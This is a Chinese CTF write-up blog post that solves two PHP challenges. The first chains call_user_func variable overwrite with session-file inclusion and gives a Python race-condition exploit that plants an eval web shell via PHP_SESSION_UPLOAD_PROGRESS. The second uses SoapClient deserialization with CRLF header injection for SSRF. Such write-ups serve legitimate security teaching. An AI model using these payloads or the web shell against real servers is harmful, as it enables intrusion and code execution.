session_start()&bestphp 考查session_start&soap ssrf

0x01 bestphp1

首先贴出这道题的源代码

<html>
		<head>
			<title>BabyPHP</title>
			<meta charset='UTF-8'>
		</head>
		<body>
			<form action='#' method='post'>
				Please input your name:<input type='text' name='name' />
				<input type='submit' value='submit' />
			</form>
		</body>
</html>
<?php
	session_start();
	highlight_file(__FILE__);
	ini_set('open_basedir', '/www/admin/localhost_80/wwwroot:/tmp');
	$file = 'function.php';
	$func = isset($_GET['function'])?$_GET['function']:'filters';
	call_user_func($func, $_GET);
	include($file);
	$_SESSION['name']=$_POST['name'];

	if($_SESSION['name']=='admin'){

		header('location:admin.php');

	}
?>

我们下来分析一下题目,首先是开启了session_start
其中有个call_user_func可以执行相关的函数,而且两个参数我们都可以控制,接下来还有一个文件包含,我们这儿首先想到的就是extract变量覆盖,然后包含我们想要的文件~~

我们下来读取一下文中提到的functinon.php和admin.php

http://127.0.0.1/?function=extract&file=php://filter/read=convert.base64-encode/resource=admin.php

解码得到admin.php

hello admin
<?php
if (empty($_SESSION['name'])) {
		session_start();
}else{
	die('you must login with admin');
}

然后再读取function.php

<?php
function filters($data){
	foreach ($data as $key => $value) {	if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i', $value)){
			die('Do not hack me!');
		}
	}
}

两个php文件其实没多大的作用


题解

由于题目中有session和文件包含所以我们首先想到的就是session+LFI,而且题目中会将我们的name参数写进session中

但是目前的一个问题是我们不知道session文件保存的位置,这是最主要的麻烦,我们查看session_start相关的参数,
在这里插入图片描述在这里插入图片描述由于之前有一个call_user_func,所以我们可以重新指定session保存的位置,题目中指定了open_basedir在根目录下和/tmp目录下,那我们就直接让session保存在/tmp目录下就行了~~

?function=session_start&save_path=/tmp

payload1:

curl -v -X POST -d "name=<?=phpinfo();?>" http://vps_ip:port/?function=session_start&save_path=/tmp

这儿说明一下<?=phpinfo;?>,这个相当于<?php echo phpinfo();?>

然后我们直接包含就行了

?function=extract&file=/tmp/sess_jisv70lep6v1nfokagdll4scs7

在这里插入图片描述借来下的步骤就是读取flag之类的,我就不演示了


payload2:

由于这儿有个name参数可以让我们把恶意参数写进去,那假设这儿没有name参数呢?
我们可以使用PHP_SESSION_UPLOAD_PROGRESS+LFI结合条件竞争来进行getshell

贴出exp

#!coding:utf-8

import requests
import time
import threading
host = 'http://192.168.130.129'
PHPSESSID = 'vrhtvjd4j1sd88onr92fm9t2gt'                                                                                        #随便填入的PHPSESSID
def creatSession():
    while True:
        files={'file': ('tgao.txt','f')}                
        data = {"PHP_SESSION_UPLOAD_PROGRESS" : """<?php $c=fopen('/tmp/shell.php','w');fwrite($c,'<?php eval($_POST["f"]);?>');?>""" }                    #修改要写入的内容
        headers = {'Cookie':'PHPSESSID=' + PHPSESSID}
        r = requests.post(host+'/lfi.php',files = files,headers = headers,data=data)         #这儿的host只需要一个能打开的url就行

fileName = "/tmp/sess_"+PHPSESSID       #前提是必须知道session的储存路径

if __name__ == '__main__':

    url = "{}?function=extract&file={}".format(host,fileName)                 #修改文件包含的地方
    headers = {'Cookie':'PHPSESSID=' + PHPSESSID}
    t = threading.Thread(target=creatSession,args=())
    t.setDaemon(True)
    t.start()
    while True:
        res = requests.get(url,headers=headers)
        if 'tgao.txt' in res.text:
            print("[*] Get shell success.")
            break
        else:
            print("[-] retry.")

然后我们再包含这个shell.php就行了~~

http://127.0.0.1/?function=extract&file=/tmp/shell.php

这儿再说一下我的小意外,我上传了shell.php再/tmp下,但是我去目录里面找,死活找不到,后来才发现问题,由于这儿本地环境是用的phpstudy,而phpstudy是在docker里面,所以这个文件不是按照php特定的目录中,而是在docker里面~~


0x02 bestphp’s revenge

首先贴出题目代码~~
index.php

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?> 

flag.php

only localhost can get flag!
session_start(); 
echo 'only localhost can get flag!'; 
$flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; } 
only localhost can get flag!

很明显的一道ssrf的题目~~ 那我们如何构造127.0.0.1访问flag.php,然后把flag写进session中呢? 我们直接想到了soapclient,那我们在哪儿反序列化呢,又在哪儿调用这个soapclient呢? 我们看一下题目,
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}

这儿可以将我们想要的东西写进session中,而且这道题目又开启了session,而且还有call_user_func,那么这就很明显了,我们可以控制session的反序列化方式

/?f=session_start

serialize_handler=php

然后我们通过name参数上传soapclient的序列化后的代码。然后会自动反序列化我们的session,所以便可以得到一个soapclient类~~
那我们如何调用这个类呢?我们知道__call这个魔法函数,当调用一个不可访问的方法时就会触发__call,我们又看题目,

$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);

为什么有一个数组,而且第二个还是一个字符串,我们知道`reset($_SESSION)`就是指定session中第一个值,而第一个值就是我们反序列化后得到soaplient类,所以这个字符串就相当于soapclient中不存在的方法,那我们又如何调用这个呢? 下面有一句call_user_func,那么答案就很明显了,我们通过变量覆盖控制\$b为call_user_func,然后就可以让soapclient调用`'welcome_to_the_lctf2018'`了,进而调用__call,进而访问/flag.php,将flag写进soapclient中的session

贴出构造soapclient的代码~~

<?php 
$target = 'http://127.0.0.1/flag.php'; 
$headers = array('X-Forwarded-For:127.0.0.1', 'Cookie:user=majian; PHPSESSID=fuck0' );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^'.join('^^',$headers),'uri' => "aaab")); 
$aaa = serialize($b); 
$aaa = str_replace('^^',"\r\n",$aaa); 
$aaa = str_replace('&','&',$aaa); 
echo urlencode($aaa); 
?>

payload

在这里插入图片描述这一步是改变session储存是的序列化方式,然后将soaplient的序列化写进session中~~
在这里插入图片描述这一步是变量覆盖,然后调用soapclient中不存在的方法,进而调用魔法函数__call,从而ssrf,将flag写进soapclient中的session,最后改一下session就可以看见flag了~~
在这里插入图片描述

发布了47 篇原创文章 · 获赞 2 · 访问量 3119

猜你喜欢

转载自blog.csdn.net/a3320315/article/details/104039961